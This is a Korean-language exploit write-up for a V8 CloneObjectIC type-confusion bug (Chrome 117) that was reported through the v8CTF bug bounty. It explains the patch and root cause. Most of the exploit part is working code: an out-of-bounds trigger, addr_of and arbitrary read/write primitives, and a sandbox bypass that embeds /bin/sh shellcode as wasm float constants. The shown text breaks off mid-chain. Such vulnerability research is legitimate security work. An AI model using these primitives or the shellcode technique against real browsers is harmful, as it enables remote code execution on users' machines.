Environment Setting
Install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH
Get V8 source code
mkdir v8
cd v8
fetch v8
cd v8
git checkout 25b1011e80f
gclient sync -D
Install build dependencies
./build/install-build-deps.sh
Build V8
gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true"
gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true"
ninja -C out/debug d8; ninja -C out/release d8
Install GDB plugin
echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit
Introduction
117.0.5938.11에서 동작하며 CloneObjectIC type confusion
를 가지고 v8CTF
버그 바운티에 성공한 케이스로 oob
에서 exploit
까지 작성한 내용입니다.
Prerequisite Knowledge
In-object property
In-object property는 object 자체에 데이터를 저장함으로 주소 포인터를 전환하지 않으므로 가장 빠른 접근을 제공합니다.
const obj = {};
obj.a = 1;
% DebugPrint(obj);
In-object는 object의 초기 크기에 따라 미리 결정되며, 초기 크기보다 더 많은 프로퍼티가 추가되면 properties에 저장됩니다.
const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
% DebugPrint(obj);
DebugPrint: 0x201f001cc715: [JS_OBJECT_TYPE]
- map: 0x201f000db28d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x201f000c4b79 <Object map = 0x201f000c41b5>
- elements: 0x201f00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x201f00000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x201f00002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x201f00002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
0x201f00002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
0x201f00002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
}
const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
% DebugPrint(obj);
DebugPrint: 0x12f4001cc721: [JS_OBJECT_TYPE]
- map: 0x12f4000db2c9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x12f4000c4b79 <Object map = 0x12f4000c41b5>
- elements: 0x12f400000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x12f4001cc841 <PropertyArray[3]>
- All own properties (excluding elements): {
0x12f400002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x12f400002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
0x12f400002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
0x12f400002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
0x12f400002a89: [String] in ReadOnlySpace: #e: 5 (const data field 4), location: properties[0]
}
InlineCache(IC)
Javascript에서 object에 접근하는 작업은 자주 일어나며, 이 속도를 최적화시키는 것은 성능에 큰 영향을 주게 됩니다. 그래서 object -> map -> property index -> property[index] 접근 과정을 거치게 됩니다.
Object에 자주 접근하게 되면(10번 이상) Inline Cache
가 발생하게 되며 object의 map과 접근하는 property cache를 비교하여 같은지 확인하며 Inline Cache
가 생성되게 됩니다.
Analysis
Patch diff
패치된 내용을 살펴보면 기존 object의 In-object property의 개수가 CloneObjectSlowPath
로 생성된 object의 In-object property 수보다 많다면 Inline Cache
를 생성하지 않습니다.
--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -3190,12 +3190,18 @@ bool CanFastCloneObjectWithDifferentMaps(Handle<Map> source_map,
// the same binary layout.
if (source_map->instance_type() != JS_OBJECT_TYPE ||
target_map->instance_type() != JS_OBJECT_TYPE ||
- source_map->instance_size() < target_map->instance_size() ||
!source_map->OnlyHasSimpleProperties() ||
!target_map->OnlyHasSimpleProperties()) {
return false;
}
- if (target_map->instance_size() > source_map->instance_size()) {
+ // Check that the source inobject properties are big enough to initialize all
+ // target slots, but not too big to fit.
+ int source_inobj_properties = source_map->GetInObjectProperties();
+ int target_inobj_properties = target_map->GetInObjectProperties();
+ int source_used_inobj_properties =
+ source_inobj_properties - source_map->UnusedPropertyFields();
+ if (source_inobj_properties < target_inobj_properties ||
+ source_used_inobj_properties > target_inobj_properties) {
return false;
}
// TODO(olivf, chrome:1204540) The clone ic blindly copies the bytes from
@@ -3314,6 +3320,11 @@ RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
isolate)) {
DCHECK(result_map->OnlyHasSimpleProperties());
+ DCHECK_LE(source_map->GetInObjectProperties() -
+ source_map->UnusedInObjectProperties(),
+ result_map->GetInObjectProperties());
+ DCHECK_GE(source_map->GetInObjectProperties(),
+ result_map->GetInObjectProperties());
nexus.ConfigureCloneObject(source_map,
MaybeObjectHandle(result_map));
} else {
PoC
// test/mjsunit/regress/regress-crbug-1472121.js
let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;
function throwaway() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) // IC
throwaway();
for (let key in a) a[key] = {};
function func() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) // IC
corrupted = func();
PoC를 살펴보면 throwaway
함수를 반복시켜 Inline Cache
를 생성하게 됩니다. 이 과정에서 proto
가 null
인 새로운 객체가 생성되게 되며 object 복사가 이루어집니다.
(Inline Cache
가 생성되지 않은 상태) 처음 throwaway
함수가 실행되면 Builtin::kCloneObjectIC
함수를 호출하고 Builtin::kCloneObjectIC_Slow
함수를 통해 객체가 복사됩니다.
// src/interpreter/interpreter-generator.cc
IGNITION_HANDLER(CloneObject, InterpreterAssembler) {
TNode<Object> source = LoadRegisterAtOperandIndex(0);
TNode<Uint32T> bytecode_flags = BytecodeOperandFlag8(1);
TNode<UintPtrT> raw_flags =
DecodeWordFromWord32<CreateObjectLiteralFlags::FlagsBits>(bytecode_flags);
TNode<Smi> smi_flags = SmiTag(Signed(raw_flags));
TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(2);
TNode<HeapObject> maybe_feedback_vector = LoadFeedbackVector();
TNode<Context> context = GetContext();
TNode<Object> result = CallBuiltin(Builtin::kCloneObjectIC, context, source,
smi_flags, slot, maybe_feedback_vector);
SetAccumulator(result);
Dispatch();
}
// src/ic/accessor-assembler.cc
void AccessorAssembler::GenerateCloneObjectIC() {
using Descriptor = CloneObjectWithVectorDescriptor;
auto source = Parameter<Object>(Descriptor::kSource);
auto flags = Parameter<Smi>(Descriptor::kFlags);
auto slot = Parameter<TaggedIndex>(Descriptor::kSlot);
auto maybe_vector = Parameter<HeapObject>(Descriptor::kVector);
auto context = Parameter<Context>(Descriptor::kContext);
TVARIABLE(Map, result_map);
Label if_result_map(this, &result_map), if_empty_object(this),
miss(this, Label::kDeferred), try_polymorphic(this, Label::kDeferred),
try_megamorphic(this, Label::kDeferred), slow(this, Label::kDeferred);
...
BIND(&slow);
{
TailCallBuiltin(Builtin::kCloneObjectIC_Slow, context, source, flags, slot,
maybe_vector);
}
...
BIND(&miss);
{
Comment("CloneObjectIC_miss");
TNode<HeapObject> map_or_result =
CAST(CallRuntime(Runtime::kCloneObjectIC_Miss, context, source, flags,
slot, maybe_vector));
Label restart(this);
GotoIf(IsMap(map_or_result), &restart);
CSA_DCHECK(this, IsJSObject(map_or_result));
Return(map_or_result);
BIND(&restart);
result_map = CAST(map_or_result);
Goto(&if_result_map);
}
}
반복적으로 함수를 호출하면 IC handler
등록을 위해 Builtin::kCloneObjectIC
함수는 Runtime::kCloneObjectIC_Miss
를 호출합니다. Runtime::kCloneObjectIC_Miss
에서 새로 복사된 객체의 proto: null
이면 기존 map과 다르기 때문에 FastCloneObjectMode::kDifferentMap
이며, CloneObjectSlowPath
로 객체를 복사하게 됩니다.
// src/ic/ic.cc
RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(4, args.length());
Handle<Object> source = args.at(0);
int flags = args.smi_value_at(1);
if (!MigrateDeprecated(isolate, source)) {
Handle<HeapObject> maybe_vector = args.at<HeapObject>(3);
if (IsFeedbackVector(*maybe_vector)) {
int index = args.tagged_index_value_at(2);
FeedbackSlot slot = FeedbackVector::ToSlot(index);
FeedbackNexus nexus(Handle<FeedbackVector>::cast(maybe_vector), slot);
if (!IsSmi(*source) && !nexus.IsMegamorphic()) {
Handle<Map> source_map(Handle<HeapObject>::cast(source)->map(),
isolate);
FastCloneObjectMode clone_mode =
GetCloneModeForMap(source_map, flags, isolate);
switch (clone_mode) {
case FastCloneObjectMode::kIdenticalMap: {
nexus.ConfigureCloneObject(source_map,
MaybeObjectHandle(source_map));
// When returning a map the IC miss handler re-starts from the top.
return *source_map;
}
case FastCloneObjectMode::kEmptyObject: {
nexus.ConfigureCloneObject(source_map,
MaybeObjectHandle(Smi(0), isolate));
RETURN_RESULT_OR_FAILURE(
isolate, CloneObjectSlowPath(isolate, source, flags));
}
case FastCloneObjectMode::kDifferentMap: {
Handle<Object> res;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, res, CloneObjectSlowPath(isolate, source, flags));
Handle<Map> result_map(Handle<HeapObject>::cast(res)->map(),
isolate);
if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
isolate)) {
DCHECK(result_map->OnlyHasSimpleProperties());
nexus.ConfigureCloneObject(source_map,
MaybeObjectHandle(result_map));
} else {
nexus.ConfigureMegamorphic();
}
return *res;
}
case FastCloneObjectMode::kNotSupported: {
break;
}
}
DCHECK(clone_mode == FastCloneObjectMode::kNotSupported);
nexus.ConfigureMegamorphic();
}
}
}
RETURN_RESULT_OR_FAILURE(isolate,
CloneObjectSlowPath(isolate, source, flags));
}
CloneObjectSlowPath
함수는 먼저 새로운 proto
를 가진 객체를 생성하고 JSReceiver::SetOrCopyDataProperties
함수를 통해 property
들을 복사해서 가져옵니다.
static MaybeHandle<JSObject> CloneObjectSlowPath(Isolate* isolate,
Handle<Object> source,
int flags) {
Handle<JSObject> new_object;
if (flags & ObjectLiteral::kHasNullPrototype) {
new_object = isolate->factory()->NewJSObjectWithNullProto();
} else if (IsJSObject(*source) &&
JSObject::cast(*source)->map()->OnlyHasSimpleProperties()) {
Map source_map = JSObject::cast(*source)->map();
// TODO(olivf, chrome:1204540) It might be interesting to pick a map with
// more properties, depending how many properties are added by the
// surrounding literal.
int properties = source_map->GetInObjectProperties() -
source_map->UnusedInObjectProperties();
Handle<Map> map = isolate->factory()->ObjectLiteralMapFromCache(
isolate->native_context(), properties);
new_object = isolate->factory()->NewFastOrSlowJSObjectFromMap(map);
} else {
Handle<JSFunction> constructor(isolate->native_context()->object_function(),
isolate);
new_object = isolate->factory()->NewJSObject(constructor);
}
if (IsNullOrUndefined(*source)) {
return new_object;
}
MAYBE_RETURN(
JSReceiver::SetOrCopyDataProperties(
isolate, new_object, source,
PropertiesEnumerationMode::kPropertyAdditionOrder, nullptr, false),
MaybeHandle<JSObject>());
return new_object;
}
복사를 마친 뒤 Runtime_CloneObjectIC_Miss
에서 기존 object와 map을 비교(CanFastCloneObjectWithDifferentMaps
)하고 두 map이 호환 가능하다면 Inline Cache
에 source_map
과 result_map
을 등록(nexus.ConfigureCloneObject
)하게 됩니다.
앞으로 복사가 이루어질 때 속도 향상을 위해 result_map
을 사용하게 됩니다.
// src/ic/ic.cc
RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
...
if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
isolate)) {
DCHECK(result_map->OnlyHasSimpleProperties());
nexus.ConfigureCloneObject(source_map,
MaybeObjectHandle(result_map));
}
...
}
Object가 Inline Cache
에 등록된 이후에 cloneObject
를 호출하면 Inline Cache
에 등록된 result_map
을 기준의 크기를 가진 새로운 객체를 생성하게 됩니다.
// src/ic/accessor-assembler.cc
void AccessorAssembler::GenerateCloneObjectIC() {
...
TNode<JSObject> object = UncheckedCast<JSObject>(AllocateJSObjectFromMap(
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties));
...
}
결과적으로 객체를 복사하면서 result_map
을 가지게 됩니다. 하지만 CloneObjectSlowPath
는 객체를 먼저 생성하고 값을 복사하기 때문에 object의 in-object 크기가 가장 작게 설정됩니다. 때문에 CloneObjectSlowPath에 의해 처리된 함수 중 더 많은 수의 In-object를 가지고 있게 되면 type confusion
이 발생합니다.
쉽게 설명하자면 기존 property의 map은 in-object property가 9개 properties 1개를 보유합니다.
let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;
% DebugPrint(a);
DebugPrint: 0xdee0024cfcd: [JS_OBJECT_TYPE]
- map: 0x0dee0015bb59 <Map[48](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0dee00144a95 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
- elements: 0x0dee00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0dee0024d2b5 <PropertyArray[3]>
- All own properties (excluding elements): {
0xdee0015b7c1: [String] in OldSpace: #p0: 1 (const data field 0), location: in-object
0xdee0015b7d1: [String] in OldSpace: #p1: 1 (const data field 1), location: in-object
0xdee0015b7e1: [String] in OldSpace: #p2: 1 (const data field 2), location: in-object
0xdee0015b7f1: [String] in OldSpace: #p3: 1 (const data field 3), location: in-object
0xdee0015b801: [String] in OldSpace: #p4: 1 (const data field 4), location: in-object
0xdee0015b811: [String] in OldSpace: #p5: 1 (const data field 5), location: in-object
0xdee0015b821: [String] in OldSpace: #p6: 1 (const data field 6), location: in-object
0xdee0015b831: [String] in OldSpace: #p7: 1 (const data field 7), location: in-object
0xdee0015b841: [String] in OldSpace: #p8: 1 (const data field 8), location: in-object
0xdee0015b851: [String] in OldSpace: #p9: 1 (const data field 9), location: properties[0]
}
0xdee0015bb59: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 48
- inobject properties: 9
- unused property fields: 2
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x0dee0015bb31 <Map[48](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x0dee0015bb81 <Cell value= 0>
- instance descriptors (own) #10: 0x0dee0024d22d <DescriptorArray[10]>
- prototype: 0x0dee00144a95 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
- constructor: 0x0dee001445d9 <JSFunction Object (sfi = 0xdee00451695)>
- dependent code: 0x0dee00000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
새로운 객체를 생성하고 property를 추가하면 in-object의 최솟값인 4개와 6개의 properties가 생성됩니다. Inline Cache
를 거치면서 이 2개의 map이 type confusion 되며 취약점이 발생하게 됩니다.
let a = {};
a.p0 = 1;
a.p1 = 1;
a.p2 = 1;
a.p3 = 1;
a.p4 = 1;
a.p5 = 1;
a.p6 = 1;
a.p7 = 1;
a.p8 = 1;
a.p9 = 1;
% DebugPrint(a);
DebugPrint: 0x34080024d229: [JS_OBJECT_TYPE]
- map: 0x34080015be09 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x340800144a95 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
- elements: 0x340800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x34080024d489 <PropertyArray[6]>
- All own properties (excluding elements): {
0x34080015b7c1: [String] in OldSpace: #p0: 1 (const data field 0), location: in-object
0x34080015b7d1: [String] in OldSpace: #p1: 1 (const data field 1), location: in-object
0x34080015b7e1: [String] in OldSpace: #p2: 1 (const data field 2), location: in-object
0x34080015b7f1: [String] in OldSpace: #p3: 1 (const data field 3), location: in-object
0x34080015b801: [String] in OldSpace: #p4: 1 (const data field 4), location: properties[0]
0x34080015b811: [String] in OldSpace: #p5: 1 (const data field 5), location: properties[1]
0x34080015b821: [String] in OldSpace: #p6: 1 (const data field 6), location: properties[2]
0x34080015b831: [String] in OldSpace: #p7: 1 (const data field 7), location: properties[3]
0x34080015b841: [String] in OldSpace: #p8: 1 (const data field 8), location: properties[4]
0x34080015b851: [String] in OldSpace: #p9: 1 (const data field 9), location: properties[5]
}
0x34080015be09: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x34080015bde1 <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x34080015bcc1 <Cell value= 0>
- instance descriptors (own) #10: 0x34080024d4a9 <DescriptorArray[10]>
- prototype: 0x340800144a95 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
- constructor: 0x3408001445d9 <JSFunction Object (sfi = 0x340800451695)>
- dependent code: 0x340800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
Inline Cache
에서 생성되는 result_map
을 출력해 보면 in-object 4개인 map을 확인할 수 있습니다.
[+] result_map -> 0x5f70015c2dd
0x5f70015c2dd: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x05f70015c2b5 <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x05f700000add <Cell value= 1>
- instance descriptors (own) #10: 0x05f70024dc5d <DescriptorArray[10]>
- prototype: 0x05f700000235 <null>
- constructor: 0x05f7001445d9 <JSFunction Object (sfi = 0x5f700451695)>
- dependent code: 0x05f700000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
그러므로 PoC에서 생성된 corrupted는 in-object 4개 properties 6개라는 map이 만들어지지만 실제로 CloneObjectSlowPath
에 의해 복사된 값은 in-object 4개, properties 3개(기존 1개 + undefined 2개)가 생성됩니다. 그러므로 properties [3~5]
가 oob
가 발생하게 됩니다.
// test/mjsunit/regress/regress-crbug-1472121.js
let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;
function throwaway() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) // IC
throwaway();
for (let key in a) a[key] = {};
function func() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) // IC
corrupted = func();
DebugPrint: 0x37210025090d: [JS_OBJECT_TYPE]
- map: 0x37210015c2a5 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x372100000235 <null>
- elements: 0x372100000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3721002508f9 <PropertyArray[3]>
- All own properties (excluding elements): {
0x37210015b7c1: [String] in OldSpace: #p0: 0x37210024f435 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 0), location: in-object
0x37210015b7d1: [String] in OldSpace: #p1: 0x37210024f461 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 1), location: in-object
0x37210015b7e1: [String] in OldSpace: #p2: 0x37210024f47d !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 2), location: in-object
0x37210015b7f1: [String] in OldSpace: #p3: 0x37210024f499 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 3), location: in-object
0x37210015b801: [String] in OldSpace: #p4: 0x37210024f541 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 4), location: properties[0]
0x37210015b811: [String] in OldSpace: #p5: 0x372100000251 <undefined> (const data field 5), location: properties[1]
0x37210015b821: [String] in OldSpace: #p6: 0x372100000251 <undefined> (const data field 6), location: properties[2]
0x37210015b831: [String] in OldSpace: #p7: 0x37210015c2a5 <Map[28](HOLEY_ELEMENTS)> (const data field 7), location: properties[3]
0x37210015b841: [String] in OldSpace: #p8: 0x3721002508f9 <PropertyArray[3]> (const data field 8), location: properties[4]
0x37210015b851: [String] in OldSpace: #p9: 0x372100000219 <FixedArray[0]> (const data field 9), location: properties[5]
}
0x37210015c2a5: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x37210015c27d <Map[28](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x372100000add <Cell value= 1>
- instance descriptors (own) #10: 0x37210024dbc5 <DescriptorArray[10]>
- prototype: 0x372100000235 <null>
- constructor: 0x3721001445d9 <JSFunction Object (sfi = 0x372100451695)>
- dependent code: 0x372100000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
Exploit
oob(out-of-bound)
// test/mjsunit/regress/regress-crbug-1472121.js
let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;
function throwaway() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) // IC
throwaway();
for (let key in a) a[key] = {};
function func() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) // IC
corrupted = func();
corrupted 메모리 구조를 살펴보면 아래와 같습니다.
# corrupted properties memory map
0x000009ed(properites_map) 0x00000006(properties_len)
0x0024f541(properties[0] "p4") 0x00000251(properties[1] "p5")
0x00000251(properties[2] "p6") 0x0015c2a5(corrupted_map "p7")
0x002508f9(properties "p8") 0x00000219(elements "p9")
0x0024f435(in-object "p0") 0x0024f461(in-object "p1")
0x0024f47d(in-object "p2") 0x0024f499(in-object "p3")
corrupted.p9
에 값을 넣으면 corrupted
의 elements
가 변경됩니다.
corrupted.p9 = [1.1];
# corrupted properties memory map
0x000009ed(properites_map) 0x00000006(properties_len)
0x0024f541(properties[0] "p4") 0x00000251(properties[1] "p5")
0x00000251(properties[2] "p6") 0x0015c2a5(corrupted_map "p7")
0x002508f9(properties "p8") 0x0025093a(elements "p9") # arr [1.1]
0x0024f435(in-object "p0") 0x0024f461(in-object "p1")
0x0024f47d(in-object "p2") 0x0024f499(in-object "p3")
# arr [1.1] memory map
0x0014ed79(map) 0x00000219(properties)
0x0025097d(elements "corrupted[0]") 0x00000002(len "corrupted[1]")
이제 corrupted [1]을
조작해 corrupted.p9 = [1.1];
의 길이 조작이 가능해 oob
가 발생하게 됩니다.
function trigger() {
let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;
function throwaway() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) throwaway(); // IC
for (let key in a) a[key] = {};
function func() {
return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j) corrupted = func(); // IC
corrupted.p9 = [1.1];
corrupted[1] = 0x100; // overwrite the length of corrupted.p9
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let arr3 = [arr1];
return [corrupted.p9, arr1, arr2, arr3];
}
addr_of, aar, aaw
oob
를 이용해서 aadr_of, aar, aaw
를 구성할 수 있습니다.
leak = trigger();
oob_obj = leak[0];
fake_obj = leak[1];
addr_obj = leak[3];
function addr_of(obj) {
addr_obj[0] = obj;
return ftoi(oob_obj[26])[1];
}
function aar(addr) {
addr |= 1;
addr -= FIXED_ARRAY_HEADER_SIZE;
oob_obj[7] = itof(addr, smi(1));
let result = ftoi(fake_obj[0]);
return result;
}
function aaw(addr, lo, hi) {
addr |= 1;
addr -= FIXED_ARRAY_HEADER_SIZE;
oob_obj[7] = itof(addr, smi(1));
fake_obj[0] = itof(lo, hi);
}
function aaw64(addr, val) {
addr |= 1;
addr -= FIXED_ARRAY_HEADER_SIZE;
oob_obj[7] = itof(addr, smi(1));
fake_obj[0] = itof64(val);
}
V8 Heap Sandbox Bypass
Compress pointer
이면서 실행 가능한 메모리 주소 공간인 wasm function
의 최적화된 code table
영역의 IP
를 변조하여 코드를 실행하겠습니다.
우선 wasm function
은 jump_table_start
에 시작점이 기록되어 있으며 jump table
을 통해 접근하게 됩니다.
DebugPrint: 0x33920015c025: [WasmInstanceObject] in OldSpace
- map: 0x33920015a3b5 <Map[224](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x33920024b0e5 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
- elements: 0x339200000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x33920024dc79 <Module map = 0x339200159f59>
- exports_object: 0x33920024dd4d !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
- native_context: 0x339200143c0d <NativeContext[281]>
- memory_objects: 0x339200000219 <FixedArray[0]>
- tables: 0x339200000219 <FixedArray[0]>
- indirect_function_tables: 0x339200000219 <FixedArray[0]>
- imported_function_refs: 0x339200000219 <FixedArray[0]>
- indirect_function_table_refs: 0x339200000219 <FixedArray[0]>
- wasm_internal_functions: 0x33920024dd29 <FixedArray[1]>
- managed_object_maps: 0x339200000219 <FixedArray[0]>
- feedback_vectors: 0x339200000219 <FixedArray[0]>
- well_known_imports: 0x339200000219 <FixedArray[0]>
- memory0_start: 0x3491ffffffff
- memory0_size: 0
- stack_limit_address: 0x55cf899abbe0
- real_stack_limit_address: 0x55cf899abbd0
- new_allocation_limit_address: 0x55cf899abc90
- new_allocation_top_address: 0x55cf899abc88
- old_allocation_limit_address: 0x55cf899abca8
- old_allocation_top_address: 0x55cf899abca0
- imported_function_targets: 0x339200000f59 <ByteArray[0]>
- globals_start: 0x3491ffffffff
- imported_mutable_globals: 0x339200000f59 <ByteArray[0]>
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: 0x339200000f59 <ByteArray[0]>
- indirect_function_table_targets: 0x3392000062b5 <ExternalPointerArray[0]>
- isorecursive_canonical_types: 0x55cf89a2f320
- jump_table_start: 0xe6e6bda000
- data_segment_starts: 0x339200000f59 <ByteArray[0]>
- data_segment_sizes: 0x339200000f59 <ByteArray[0]>
- element_segments: 0x339200000219 <FixedArray[0]>
- hook_on_function_call_address: 0x55cf899cbb19
- tiering_budget_array: 0x55cf89a10c50
- memory_bases_and_sizes: 0x339200000f59 <ByteArray[0]>
- break_on_entry: 0
- properties: 0x339200000219 <FixedArray[0]>
- All own properties (excluding elements): {}
0x33920015a3b5: [Map] in OldSpace
- type: WASM_INSTANCE_OBJECT_TYPE
- instance size: 224
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- back pointer: 0x339200000251 <undefined>
- prototype_validity cell: 0x339200000add <Cell value= 1>
- instance descriptors (own) #0: 0x339200000285 <DescriptorArray[0]>
- prototype: 0x33920024b0e5 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
- constructor: 0x33920015a299 <JSFunction Instance (sfi = 0x33920015a26d)>
- dependent code: 0x339200000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
gef➤ x/i 0xe6e6bda000
0xe6e6bda000: jmp 0xe6e6bda700
gef➤ vmmap 0xe6e6bda000
Start End Offset Perm Path
0x000000e6e6bda000 0x000000e6e6bdb000 0x0000000000000000 rwx
단순 double
을 입력하는 함수를 최적화하게 되면 고정 값으로 데이터가 최적화됩니다.
gef➤ x/50i 0xe6e6bda700
0xe6e6bda700: push rbp
0xe6e6bda701: mov rbp,rsp
0xe6e6bda704: push 0x8
0xe6e6bda706: push rsi
0xe6e6bda707: sub rsp,0x10
0xe6e6bda70e: mov rax,QWORD PTR [rsi+0x37]
0xe6e6bda712: cmp rsp,QWORD PTR [rax]
0xe6e6bda715: jbe 0xe6e6bda7c8
0xe6e6bda71b: movabs r10,0x7eb900068732fb8
0xe6e6bda725: vmovq xmm0,r10
0xe6e6bda72a: movabs r10,0x7eb909020e0c148
0xe6e6bda734: vmovq xmm1,r10
0xe6e6bda739: movabs r10,0x7eb906e69622fbb
0xe6e6bda743: vmovq xmm2,r10
0xe6e6bda748: movabs r10,0x7eb909050d80148
0xe6e6bda752: vmovq xmm3,r10
0xe6e6bda757: movabs r10,0x7ebf63148e78948
0xe6e6bda761: vmovq xmm4,r10
0xe6e6bda766: movabs r10,0x7ebc03148d23148
0xe6e6bda770: vmovq xmm5,r10
0xe6e6bda775: movabs r10,0x90909090050f3bb0
0xe6e6bda77f: vmovq xmm6,r10
0xe6e6bda784: mov r10,QWORD PTR [rsi+0x87]
0xe6e6bda78b: sub DWORD PTR [r10],0x84
이 점을 이용해 wasm function
의 ip
를 고정 값으로 입력한 값의 시작점으로 변경하여 exploit
하겠습니다.
우선 쉘코드가 포함된 wasm funciton
을 최적화해줍니다.
var buf = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 124, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 73, 1, 71, 0, 68, 184, 47, 115, 104, 0, 144, 235, 7, 68, 72, 193, 224, 32, 144, 144, 235, 7, 68, 187, 47, 98, 105, 110, 144, 235, 7, 68, 72, 1, 216, 80, 144, 144, 235, 7, 68, 72, 137, 231, 72, 49, 246, 235, 7, 68, 72, 49, 210, 72, 49, 192, 235, 7, 68, 176, 59, 15, 5, 144, 144, 144, 144, 26, 26, 26, 26, 26, 26, 11]); // ubuntu /bin/shell
var module = new WebAssembly.Module(buf);
var instance = new WebAssembly.Instance(module);
var instance_addr = addr_of(instance);
var f = instance.exports.main;
for (var i = 0; i < 0x10000; ++i) {
f();
}
비어있는 새로운 wasm function
을 만들어줍니다.
